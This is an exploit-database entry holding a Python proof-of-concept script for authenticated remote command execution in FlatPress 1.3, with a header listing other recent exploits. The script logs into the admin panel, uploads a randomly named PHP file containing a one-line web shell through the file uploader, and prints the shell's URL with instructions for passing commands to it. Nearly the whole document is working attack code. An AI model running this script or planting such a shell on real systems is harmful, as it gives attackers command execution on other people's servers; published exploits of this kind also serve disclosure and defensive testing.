9eb5c7b425
7 changes to exploits/shellcodes/ghdb Palo Alto PAN-OS < v11.1.2-h3 - Command Injection and Arbitrary File Creation FlatPress v1.3 - Remote Command Execution Laravel Framework 11 - Credential Leakage SofaWiki 3.9.2 - Remote Command Execution (RCE) (Authenticated) Wordpress Plugin Background Image Cropper v1.2 - Remote Code Execution Flowise 1.6.5 - Authentication Bypass
78 lines
No EOL
2.4 KiB
Text
78 lines
No EOL
2.4 KiB
Text
# Exploit Title: FlatPress v1.3 - Remote Command Execution
|
||
# Discovered by: Ahmet Ümit BAYRAM
|
||
# Discovered Date: 19.04.2024
|
||
# Vendor Homepage: https://www.flatpress.org
|
||
# Software Link: https://github.com/flatpressblog/flatpress/archive/1.3.zip
|
||
# Tested Version: 1.3 (latest)
|
||
# Tested on: MacOS
|
||
|
||
import requests
|
||
import time
|
||
import random
|
||
import string
|
||
|
||
def random_string(length=5):
|
||
"""Rastgele bir string oluşturur."""
|
||
letters = string.ascii_lowercase
|
||
return ''.join(random.choice(letters) for i in range(length))
|
||
|
||
def login_and_upload(base_url, username, password):
|
||
filename = random_string() + ".php"
|
||
login_url = f"http://{base_url}/login.php"
|
||
upload_url = f"http://{base_url}/admin.php?p=uploader&action=default"
|
||
|
||
with requests.Session() as session:
|
||
# Exploiting
|
||
print("Exploiting...")
|
||
time.sleep(1)
|
||
|
||
# Giriş yapma denemesi
|
||
login_data = {
|
||
'user': username,
|
||
'pass': password,
|
||
'submit': 'Login'
|
||
}
|
||
print("Logging in...")
|
||
response = session.post(login_url, data=login_data)
|
||
time.sleep(1)
|
||
|
||
if "Logout" in response.text:
|
||
print("Login Successful!")
|
||
else:
|
||
print("Login Failed!")
|
||
print(response.text)
|
||
return
|
||
|
||
# Dosya yükleme denemesi
|
||
print("Shell uploading...")
|
||
time.sleep(1)
|
||
|
||
# Form verileri ve dosyalar
|
||
files = {
|
||
'upload[]': (filename, '<?=`$_GET[0]`?>', 'text/php'),
|
||
}
|
||
form_data = {
|
||
'_wpnonce': '9e0ed04260',
|
||
'_wp_http_referer': '/admin.php?p=uploader',
|
||
'upload': 'Upload'
|
||
}
|
||
|
||
response = session.post(upload_url, files=files, data=form_data)
|
||
|
||
if "File(s) uploaded" in response.text or "Upload" in response.text:
|
||
shell_url = f"http://{base_url}/fp-content/attachs/{filename}"
|
||
print(f"Your Shell is Ready: {shell_url}")
|
||
time.sleep(1)
|
||
print(f"Shell Usage: {shell_url}?0=command")
|
||
else:
|
||
print("Exploit Failed!")
|
||
print(response.status_code, response.text)
|
||
|
||
# Örnek kullanım: python script.py siteadi.com username password
|
||
if __name__ == "__main__":
|
||
import sys
|
||
if len(sys.argv) != 4:
|
||
print("Usage: script.py <base_url> <username> <password>")
|
||
else:
|
||
base_url, username, password = sys.argv[1:]
|
||
login_and_upload(base_url, username, password) |